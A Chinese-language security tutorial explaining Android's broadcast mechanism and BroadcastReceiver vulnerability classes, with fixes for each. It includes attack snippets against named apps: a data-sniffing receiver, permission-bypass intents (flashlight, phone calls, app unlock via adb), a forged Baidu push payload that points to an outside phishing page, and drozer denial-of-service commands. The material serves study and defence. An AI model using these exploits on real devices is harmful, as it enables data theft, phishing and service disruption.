Android APP漏洞之戰——Broadcast Recevier漏洞詳解
今天繼續總結Android APP漏洞四大組件中Broadcast Recevier漏洞挖掘的知識,主要分為兩個部分,一部分對Android 廣播機制原理作一個初步的總結,另一部分便是對Android 廣播機制常見的一些漏洞進行總結,主要是介紹一些已存在的典型漏洞,部分知識可以參考前兩篇帖子:
Android APP漏洞之戰(2)——Service漏洞挖掘詳解
(https://bbs.pediy.com/thread-269255.htm)
Android APP漏洞之戰(1)——Activity漏洞挖掘詳解。
(https://bbs.pediy.com/thread-269211.htm)
Broadcast Recevier初步介紹
1、Broadcast Recevier的基本原理
(1)廣播機制簡介
Android中的每個應用程序都可以對自己感興趣的廣播進行注冊,這樣該程序只會收到自己所關心的廣播內容,這些廣播可以是來自系統的,也可能是來自其他程序的。Android提供了一套完整的API,允許應用程序自由地發送和接收廣播。
廣播機制分為兩個方面:廣播發送者和廣播接收者,一般來說,BroadcastReceiver就是廣播接收者。
(2)廣播機制應用場景
①Android內不同組件間的通信(應用/不同應用之間)
②多線程通信
③與Android系統在特定情況下的通信
(3)廣播機制模型理解
Android的廣播機制使用了設計模式中的觀察者模式:基于消息的發布/訂閱事件模型,從設計模式上講,廣播的發送者和接收者極大程度的**解耦**,使得系統方便集成,容易擴展。
模型中的3個基本角色:
①消息訂閱者(廣播接收者)
②消息發布者(廣播發布者)
③消息中心(AMS,即Activity Manager Service)
模型的具體原理如下圖所示:

(4)廣播機制的使用流程
我們先通過一個流程圖來具體的理解廣播機制的運行原理:

具體的操作流程:
①首先開發人員自定義廣播接收者BroadcastReceiver,并重寫onRecvice()方法,在里面可以實現具體操作,然后到消息中心AMS注冊
②廣播發送者定義并向AMS發送廣播
③AMS查找符合相應條件(IntentFilter/Permission等)的BroadcastReceiver
④AMS將廣播發送到上述符合條件的BroadcastReceiver相應的消息循環隊列中
⑤BroadcastReceiver通過消息循環執行拿到此廣播,回調BroadcastReceiver中的onReceive()方法。
我們可以按照流程圖具體一步步來實現廣播機制:
<1>自定義廣播接收者BroadcastReceiver:
// 繼承BroadcastReceivre類public class mBroadcastReceiver extends BroadcastReceiver {
// 復寫onReceive()方法 // 接收到廣播后,則自動調用該方法 @Override public void onReceive(Context context, Intent intent) { //寫入接收廣播后的操作 }}
操作步驟:(1)繼承BroadcastReceivre基類(2)必須復寫抽象方法onReceive()方法 廣播接收器接收到相應廣播后,會自動回調 onReceive() 方法,一般情況下,onReceive方法會涉及 與 其他組件之間的交互,如發送Notification、啟動Service等,默認情況下,廣播接收器運行在 UI 線程,因此,onReceive()方法不能執行耗時操作,否則將導致ANR
<2>廣播接收者注冊:
注冊的方式分為兩種:靜態注冊、動態注冊。
靜態注冊:
注冊方式:
在AndroidManifest.xml里通過標簽聲明。
屬性說明:
android:enabled=["true" | "false"]//此broadcastReceiver能否接收其他App的發出的廣播//默認值是由receiver中有無intent-filter決定的:如果有intent-filter,默認值為true,否則為false android:exported=["true" | "false"] android:icon="drawable resource" android:label="string resource"http://繼承BroadcastReceiver子類的類名 android:name=".mBroadcastReceiver"http://具有相應權限的廣播發送者發送的廣播才能被此BroadcastReceiver所接收; android:permission="string"http://BroadcastReceiver運行所處的進程//默認為app的進程,可以指定獨立的進程//注:Android四大基本組件都可以通過此屬性指定自己的獨立進程 android:process="string" > //用于指定此廣播接收器將接收的廣播類型//本示例中給出的是用于接收網絡狀態改變時發出的廣播
具體實例:
//此廣播接收者類是mBroadcastReceiver android:name=".mBroadcastReceiver" > //用于接收網絡狀態改變時發出的廣播
我們完成靜態注冊后,當App首次啟動時,系統會自動實例化mBroadcastReceiver類,并注冊到系統中。
動態注冊:
注冊方式:
動態注冊需要在功能代碼中進行注冊。
具體實例:

具體實現步驟:
①實例化自定義的廣播接收者,我們實現廣播的功能,可以繼承BroadcastReceiver類,并重寫類中的方法。
②實例化意圖過濾器,并設置要過濾的廣播類型。
③使用Context的registerReceiver(BroadcastReceiver,IntentFilter)方法注冊廣播。
④在onDestory()方法中通過調用unregisterReceiver()方法來實現取消注冊。
注意事項:
注意:動態廣播最好在Activity的onResume()注冊、onPause()注銷。
原因:
①對于動態廣播,有注冊就必然得有注銷,否則會導致內存泄露
②Activity生命周期如下都是成對出現的 onCreate() & onDestory()、onStart() & onStop()、onResume() & onPause()
在onResume()注冊、onPause()注銷是因為onPause()在App死亡前一定會被執行,從而保證廣播在App死亡前一定會被注銷,從而防止內存泄露。
①不在onCreate() & onDestory() 或 onStart() & onStop()注冊、注銷是因為:當系統因為內存不足(優先級更高的應用需要內存,請看上圖紅框)要回收Activity占用的資源時,Activity在執行完onPause()方法后就會被銷毀,有些生命周期方法onStop(),onDestory()就不會執行。當再回到此Activity時,是從onCreate方法開始執行。
②假設我們將廣播的注銷放在onStop(),onDestory()方法里的話,有可能在Activity被銷毀后還未執行onStop(),onDestory()方法,即廣播仍還未注銷,從而導致內存泄露。
③但是,onPause()一定會被執行,從而保證了廣播在App死亡前一定會被注銷,從而防止內存泄露。
兩種注冊方式的對比:

這里我們就完成了廣播接收者的基本工作。
<3>廣播發送者定義和發送廣播:
廣播的發送:
①廣播 是 用意圖(Intent)標識
②定義廣播的本質 = 定義廣播所具備的“意圖(Intent)
③廣播發送 = 廣播發送者 將此廣播的“意圖(Intent)”通過sendBroadcast()方法發送出去
廣播的類型:
第一種分類:
廣播接收器一般可以分為兩種類型:標準廣播和有序廣播。
標準廣播:一種完全異步執行的廣播,廣播發出之后,所有的廣播接收器都會在同一時刻接收這條廣播信息,廣播效率比較高,同時是無法截斷的。

有序廣播:是一種同步執行的廣播,在廣播發出之后,同一時刻會有一個廣播接收器能收到這條廣播消息,當這個廣播接收器中邏輯執行完畢后,廣播才會繼續傳遞。

第二種分類:
廣播的類型主要分為5類:
①普通廣播
②系統廣播
③有序廣播
④粘性廣播
⑤App應用內廣播
普通廣播:
開發者自身定義intent的廣播(最常用),發送廣播使用如下:
Intent intent = new Intent();//對應BroadcastReceiver中intentFilter的actionintent.setAction("BROADCAST_ACTION");//發送廣播sendBroadcast(intent);
若被注冊了的廣播接收者中注冊時intentFilter的action與上述匹配,則會接收此廣播(即進行回調onReceive()),如下mBroadcastReceiver則會接收上述廣播。
//此廣播接收者類是mBroadcastReceiver android:name=".mBroadcastReceiver" > //用于接收網絡狀態改變時發出的廣播
如果發送的廣播有對應權限,那么廣播接收者也需要對應權限。
系統廣播:
Android中內置了多個系統廣播:只要涉及到手機的基本操作(如開機、網絡狀態變化、拍照等),都會發送相應的廣播每個廣播都有特定的Intent-Filter(包括具體的action),Android系統廣播action如下:
系統操作 action監聽網絡變化 android.net.conn.CONNECTIVITY_CHANGE關閉或打開飛行模式 Intent.ACTION_AIRPLANE_MODE_CHANGED充電時或電量發生變化 Intent.ACTION_BATTERY_CHANGED電池電量低 Intent.ACTION_BATTERY_LOW電池電量充足(即從電量低變化到飽滿時會發出廣播 Intent.ACTION_BATTERY_OKAY系統啟動完成后(僅廣播一次) Intent.ACTION_BOOT_COMPLETED按下照相時的拍照按鍵(硬件按鍵)時 Intent.ACTION_CAMERA_BUTTON屏幕鎖屏 Intent.ACTION_CLOSE_SYSTEM_DIALOGS設備當前設置被改變時(界面語言、設備方向等) Intent.ACTION_CONFIGURATION_CHANGED插入耳機時 Intent.ACTION_HEADSET_PLUG未正確移除SD卡但已取出來時(正確移除方法:設置--SD卡和設備內存--卸載SD卡) Intent.ACTION_MEDIA_BAD_REMOVAL插入外部儲存裝置(如SD卡) Intent.ACTION_MEDIA_CHECKING成功安裝APK Intent.ACTION_PACKAGE_ADDED成功刪除APK Intent.ACTION_PACKAGE_REMOVED重啟設備 Intent.ACTION_REBOOT屏幕被關閉 Intent.ACTION_SCREEN_OFF屏幕被打開 Intent.ACTION_SCREEN_ON關閉系統時 Intent.ACTION_SHUTDOWN重啟設備 Intent.ACTION_REBOOT注:當使用系統廣播是,只需要在注冊廣播接收者時定義相關的action即可,并不需要手動發送廣播,當系統有相關操作時會自動進行系統廣播
有序廣播:
發送出去的廣播被廣播接收者按照先后順序接收 有序是針對廣播接收者而言的。廣播接收者接收廣播的順序規則(同時面向靜態和動態注冊的廣播接收者):
①按照Priority屬性值從大-小排序
②Priority屬性相同者,動態注冊的廣播優先
特點:
①接收廣播按順序接收
②先接收的廣播接收者可以對廣播進行截斷,即后接收的廣播接收者不在接收此廣播,可以使用abortBroadcast()方法
③先接收的廣播接收者可以對廣播進行修改,那么后接收的廣播接收者將接收到被修改后的廣播
具體使用:有序廣播的使用過程與普通廣播非常類似,差異僅在于廣播的發送方式。
sendOrderedBroadcast(intent,null); //參數1:接收的Intent 參數2:與權限相關字符串,一般為null
App應用內廣播(Local Broadcast):本地廣播
產生的原因:
由于Android中的廣播可以跨App直接通信(exported對于有intent-filter情況下默認值為true)。
導致可能會出現的問題:
①其他App針對性發出與當前App intent-filter相匹配的廣播,由此導致當前App不斷接收廣播并處理。
②其他App注冊與當前App一致的intent-filter用于接收廣播,獲取廣播的具體星系,會出現安全性和效率性問題。
解決方案:
使用App應用內廣播(Local Broadcast)
①App應用內廣播殼理解為一種局部廣播,廣播的發送者和接收者都同屬于一個App。
②相比于全局廣播(普通廣播),App應用內廣播優勢體現在:安全性高和效率高。
實現步驟:
方法1:
將全局廣播設置為局部廣播
①注冊廣播是將exported屬性設置為false,使得非本App內部發出的此廣播不被接收。
②在廣播的發送和接收時,增設相應權限permission,用于權限驗證。
③發送廣播時指定該廣播接收器所在的包名,此廣播將只會發送到此包中的App內與之相匹配的有效廣播接收器中。
通過intent.setPackage(packageName)指定包名。
方法2:
使用封裝好的LocalBroadcastManager類使用方式上與全局廣播幾乎相同,只是注冊/取消注冊廣播接收器和發送廣播時將參數context變成LocalBroadcastManager的單一實例。
注意:對于LocalBroadcastManager方式發送的應用內廣播,只能通過LocalBroadcastManager動態注冊,不能靜態注冊。
方法2的具體實現:
//注冊應用內廣播接收器//步驟1:實例化BroadcastReceiver子類 & IntentFilter mBroadcastReceivermBroadcastReceiver = new mBroadcastReceiver();IntentFilter intentFilter = new IntentFilter(); //步驟2:實例化LocalBroadcastManager的實例localBroadcastManager = LocalBroadcastManager.getInstance(this); //步驟3:設置接收廣播的類型intentFilter.addAction(android.net.conn.CONNECTIVITY_CHANGE); //步驟4:調用LocalBroadcastManager單一實例的registerReceiver()方法進行動態注冊localBroadcastManager.registerReceiver(mBroadcastReceiver, intentFilter); //取消注冊應用內廣播接收器localBroadcastManager.unregisterReceiver(mBroadcastReceiver); //發送應用內廣播Intent intent = new Intent();intent.setAction(BROADCAST_ACTION);localBroadcastManager.sendBroadcast(intent);
這里我們就完成了開發人員手動完成部分,就成功實現了Android的廣播機制,后續就是系統自動完成了。
最后我們關注一些不同注冊方式的廣播接收器回調onReceive()中的context返回值。
對于靜態注冊(全局+應用內廣播),回調onReceive(context,intent)中的context返回值是:ReceiverRestrictedContext對于全局廣播的動態注冊,回調onReceive(context, intent)中的context返回值是:Activity Context;對于應用內廣播的動態注冊(LocalBroadcastManager方式),回調onReceive(context, intent)中的context返回值是:Application Context對于應用內廣播的動態注冊(非LocalBroadcastManager方式),回調onReceive(context, intent)中的context返回值是:Activity Context
2、Broadcast Reciver漏洞的種類和危害
Broadcast Reciver漏洞大致可以分為:

Broadcast Reciver漏洞的危害:
BroadcastReceiver是四大組件之一,這個組件涉及:廣播發送者和廣播接收者,這里的廣播實際上指的是intent當發送一個廣播是,系統會將發送的廣播(intent)與系統中所有注冊的符合條件的接IntentFilter進行匹配,匹配成功,則執行相應的onReceive函數。
發送廣播時,如果處理不當,惡意應用便可以嗅探,攔截廣播,致使敏感數據泄露,接收廣播時處理不當,便會導致拒絕服務攻擊、偽造消息、越權操作等。

Broadcast Reciver漏洞原理分析和復習
1、敏感信息泄漏漏洞
(1)原理介紹
發送的intent沒有明確指定接收者,而是簡單的通過action進行匹配,惡意應用便可以注冊一個廣播接收者嗅探攔截到這個廣播,如果這個廣播存在敏感數據,就被惡意應用竊取了。
(2)漏洞復現
案例1:
我們發現一個目標程序段代碼如下:
private void d() { Intent v1 = new Intent(); v1.setAction("com.sample.action.server_running"); v1.putExtra("local_ip",v0.h); v1.putExtra("port",v0.i); v1.putExtra("code",v0.g); v1.putExtra("connected",v0.s); v1.putExtra("pwd_predefined",v0.r); if(!TextUtils.isEmpty(v0.t)){ v1.putExtra("connected_usr",v0.t); } sendBroadcast(v1);}
通過分析得出,該程序通過intent隱式傳遞,并通過action匹配發送一個廣播,這樣系統內其他程序都可以接收到這個廣播,然后在廣播接收者中編寫接收代碼,這樣我們可以編寫攻擊代碼獲取敏感數據信息。
public void onReceive(Context context,Intent intent){ String s = null; if(intent.getAction().equals("com.sample.action.server_running")){ String pwd=intent.getStringExtra("connected"); s="Airdroid => ["+pwd+"]/"+intent.getExtras(); } Toast.makeTest(context,String.format("%sReceived",s),Toast.LENGTH_SHORT).show();}
我們就可以通過廣播獲取該程序的密碼。
修復:
我們嘗試采用本地廣播的方式,這樣程序發出的廣播就只能被app自身廣播接收器接收。
Intent intent = new Intent("my-sensitive-event");intent.putExtra("event","this is a test event");LocalBroadcastManager.getInstance(this).sendBroadcast(intent);
案例2:Android 操作系統中通過 RSSI 廣播暴露敏感數據 (CVE-2018-9581)(https://wwws.nightwatchcybersecurity.com/2018/11/11/cve-2018-9581/)
漏洞詳情:
Android操作系統會定期在系統范圍內廣播WiFI強度值(RSSI),RSSI值表示設備接收到的信號的相對強度(更高=更強),但與實際物理強度dBm沒有直接關系,這是通過兩個獨立的intents實現的,Android 9之前是android.net.wifi.STATE_CHANGE,其他安卓設備是android.net.wifi.RSSI_CHANGED。
當應用通過WifiManager訪問信息時,正常就在應用manifest中請求ACCESS_WIFI_STATE權限。因為WiFi RTT特征是Android 9中新引入的,也是用于位置定位的,需要ACCESS_FINE_LOCATION權限。但監聽系統廣播時,在不需要通知用戶,不需要其他權限的情況下就可以獲取信息。
存在的安全問題:
①RSSI值是通過廣播獲取的,繞過的正常的權限檢查(ACCESS_WIFI_STATE)。
②通過廣播或WiFimanager獲取的RSSI值可以在不需要其他位置權限的情況下進行室內定制。
攻擊代碼:
public class MainActivity extends Activity {@Overridepublic void onCreate(Bundle state) { IntentFilter filter = new IntentFilter(); filter.addAction(android.net.wifi.STATE_CHANGE); filter.addAction(android.net.wifi.RSSI_CHANGED); registerReceiver(receiver, filter);}
BroadcastReceiver receiver = new BroadcastReceiver() {@Overridepublic void onReceive(Context context, Intent intent) { Log.d(intent.toString()); ….}};
測試步驟:
①安裝Broadcast Monitor app;
②將手機設置為飛行模式;
③進入房間;
④關掉飛行模式,以觸發RSSI廣播;
⑤從以下廣播中獲取RSSI值:
android.net.wifi.RSSI_CHANGE – newRssi value
android.net.wifi.STATE_CHANGE – networkInfo / RSSI
⑥重復步驟3-4。
我們可以利用廣播接收者獲取廣播中的敏感信息RSSI值。
2、權限繞過漏洞
(1)原理介紹
可以通過兩種方式注冊廣播接收器,一種是在AndroidManifest.xml文件中通過標簽靜態注冊,另一種是通過Context.registerReceiver()動態注冊,指定相應的intentFilter參數,動態注冊的廣播默認都是導出的,如果導出的BroadcastReceiver沒有做權限控制,導致BroadcastReceiver組件可以接收一個外部可控的url、或者其他命令,導致攻擊者可以越權利用應用的一些特定功能,比如發送惡意廣播、偽造消息、任意應用下載安裝、打開釣魚網站等。
(2)漏洞復現
案例1:小米MIUI漏洞可能導致硬件資源消耗(https://wooyun.x10sec.org/static/bugs/wooyun-2012-09175.html)
漏洞詳情:
MIUI內置的手電筒軟件Stk.apk中,TorchService服務沒有對廣播來源進行驗證,導致任何程序可以調用這個服務,打開或關閉手電筒,利用這個漏洞,可以導致系統電源迅速消耗。
漏洞攻擊代碼:
Intent intent = new Intent();intent.setAction("net.cactii.flash2.TOGGLE_FLASHLIGHT");sendBroadcast(intent);
我們這里就是通過intent隱私傳遞,發送廣播,然后匹配小米應用中的action,這樣就可以打開或廣播手電筒,從而利用這個漏洞,導致系統電源迅速消耗。
修復:
三種方法:
①在AndroidManifest.xml中,將TorchService申明為export="false"的;
② 在AndroidManifest.xml中,申明一個私有權限,級別為signature,并為TorchService申明需要這個權限;
③ 在TorchService的實現代碼中,檢查Intent的來源是否Stk.apk自身。
案例2:酷派最安全手機s6撥打電話權限繞過(https://wooyun.x10sec.org/static/bugs/wooyun-2014-084520.html)
漏洞詳情:
酷派最安全手機s6撥打電話權限繞過,第三方app可以無需撥打電話權限直接撥打電話。
攻擊代碼:
Intent intent = new Intent();intent.setComponent(new ComponentName("com.android.phone","com.android.phone.PhoneGlobals$NotificationBroadcastReceiver"));intent.setAction("com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION");intent.setData(Uri.parse("tel:10000"));intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);sendBroadcast(intent);
通過intent啟動外部電話應用,匹配action,并授權標志位,這樣就可以不用獲取權限,就可以打電話。
修復:
①使用本地廣播
②對廣播的action進行判別
案例3:酷派最安全手機s6程序鎖繞過(https://wooyun.x10sec.org/static/bugs/wooyun-2014-084516.html)
漏洞詳情:
程序加鎖解鎖是靠廣播來控制的,并且這兩條廣播沒做權限限制,任意應用可以發送此廣播達到惡意解鎖、惡意鎖定應用的目的。
漏洞測試:
簡單測試方法用adb shell 發送廣播,用來解鎖。

然后使用命令行
adb shell am broadcast -a android.intent.action.PACKAGE_FULLY_REMOVED -d package:com.wumii.android.mimi
就可以成功解鎖:

修復:
推薦使用呢LocalBroadcastManager類,這個類相較于Context.sendBroadcast(intent)有下面三方面的優勢:
①不用擔心敏感數據泄露,通過這種方式發送的廣播只能應用內接收。
②不用擔心安全漏洞被利用,因為其他應用無法發送惡意廣播給你。
③它比系統的全局廣播更高效。
3、消息偽造
(1)漏洞介紹
暴露的Receiver對外接收Intent,如果構造惡意的消息放在Intent中傳輸,被調用的Receiver接收可能產生安全隱患。
(2)漏洞復現
案例1:百度云盤手機版釣魚、信息泄露和代碼執行高危漏洞三合一(https://wooyun.x10sec.org/static/bugs/wooyun-2013-039801.html)
漏洞描述:
百度云盤手機版存在高危漏洞,惡意攻擊者通過該漏洞可以對手機用戶進行釣魚欺騙,盜取用戶隱私文件和信息,以百度云盤APP權限執行任何代碼。百度云盤有一個廣播接收器沒有對消息進行安全驗證,通過發送惡意的消息,攻擊者可以在用戶手機通知欄上推送任意消息,點擊消息后可以利用webview組件盜取本地隱私文件和執行任意代碼。
存在漏洞的組件是:com.baidu.android.pushservice.action.MESSAGE
攻擊代碼:
Intent i = new Intent(); i.setAction("com.baidu.android.pushservice.action.MESSAGE"); Bundle b = new Bundle(); try { JSONObject jsobject = new JSONObject();//1. phishing JSONObject custom_content_js = new JSONObject(); jsobject.put("title", "百度云盤【漏洞你中獎了!】"); jsobject.put("description", ""); //jsobject.put("url", "http://bcscdn.baidu.com/netdisk/BaiduYun_5.1.0.apk"); jsobject.put("url", "http://drops.wooyun.org/webview.html"); JSONObject customcontent_js = new JSONObject(); customcontent_js.put("type", "1"); customcontent_js.put("msg_type", "resources_push"); customcontent_js.put("uk", "1"); customcontent_js.put("shareId", "1"); jsobject.put("custom_content", customcontent_js); String cmd = jsobject.toString(); b.putByteArray("message", cmd.getBytes("UTF-8")); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); }
修復:
設置為簽名驗證android:protectionLevel="signature"
4、拒絕服務
(1)漏洞介紹
如果敏感的BroadcastReceiver沒有設置相應的權限保護,很容易受到攻擊。最常見的是拒絕服務攻擊。拒絕服務攻擊指的是,傳遞惡意畸形的intent數據給廣播接收器,廣播接收器無法處理異常導致crash。
拒絕服務攻擊的危害視具體業務場景而定,比如一個安全防護產品的拒絕服務、鎖屏應用的拒絕服務、支付進程的拒絕服務等危害就是巨大的。
(2)漏洞復現
案例1:QQ手機管家拒絕服務漏洞(https://wooyun.x10sec.org/static/bugs/wooyun-2013-042755.html)
漏洞描述:
惡意軟件發送一個消息就可以輕松讓QQ手機管家拒絕服務,安全防護完全失靈。
com.tencent.qqpimsecure.service.InOutCallReceiver這個廣播組件沒有對消息進行校驗,導致空消息造成null point問題,直接crash。
攻擊代碼:
Intent i = new Intent();ComponentName componetName = new ComponentName( "com.tencent.qqpimsecure", "com.tencent.qqpimsecure.service.InOutCallReceiver"); i.setComponent(componetName); sendBroadcast(i);

案例2:fourgoats.apk拒絕服務攻擊崩潰
我們首先用drozer測試可導出組件
run app.broadcast.info -a org.owasp.goatdroid.fourgoats

我們根據組件的類名找對對應的源碼信息,發現需要兩個參數 phoneNumber、message:

我們發送惡意廣播:
run app.broadcast.send --action 廣播名 --extra string name lisi
在此之前,我們在AndroidManifest.xml文件里面獲取廣播名:

我們發送惡意廣播:
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message dog
可以發現我們惡意廣播發送成功。


我們再向廣播組件發送不完整intent,使用空 extras,可以看到應用停止運行:
run app.broadcast.send --action

我們就成功完成一次拒絕服務攻擊。
修復:
空指針異常類型轉換異常數組越界訪問異常類未定義異常其他異常
//Serializable:Intent i = this.getIntent();if(i.getAction().equals(“serializable_action”)){
i.getSerializableExtra("serializable_key");//未做異常判斷}//Parcelable:this.b=(RouterConfig)this.getIntent().getParcelableExtra(“filed_router_config”);//引發轉型異常崩潰
謹慎處理接收的intent以及其攜帶的信息。對接收到的任何數據做try catch處理,以及對不符合預期的數據做異常處理。
拒絕服務攻擊可以參考Activity的拒絕服務攻擊和Service的拒絕服務攻擊。
Broadcast Reciver的安全防護
①私有廣播接收器設置exported=’false’,并且不配置intent-filter。(私有廣播接收器依然能接收到同UID的廣播)。
②對接收來的廣播進行驗證。
③內部app之間的廣播使用protectionLevel=’signature’ 驗證其是否真是內部app。
④返回結果時需注意接收app是否會泄露信息。
⑤發送的廣播包含敏感信息時需指定廣播接收器,使用顯示意圖或者setPackage(String packageName)。
⑥使用LocalBroadcastManager。
實驗總結
本文主要介紹了Android中廣播機制的運行原理,并對Android廣播機制中的常見漏洞做了一個初步的總結,我們可以發現Android的四大組件的漏洞原理基本存在很大的相關性,在拒絕服務攻擊中,這里用了一個簡易的樣本,并逐步實現了拒絕服務攻擊的步驟,本文可能還存在很多不足,后續逐步完善,也歡迎各位大佬指正。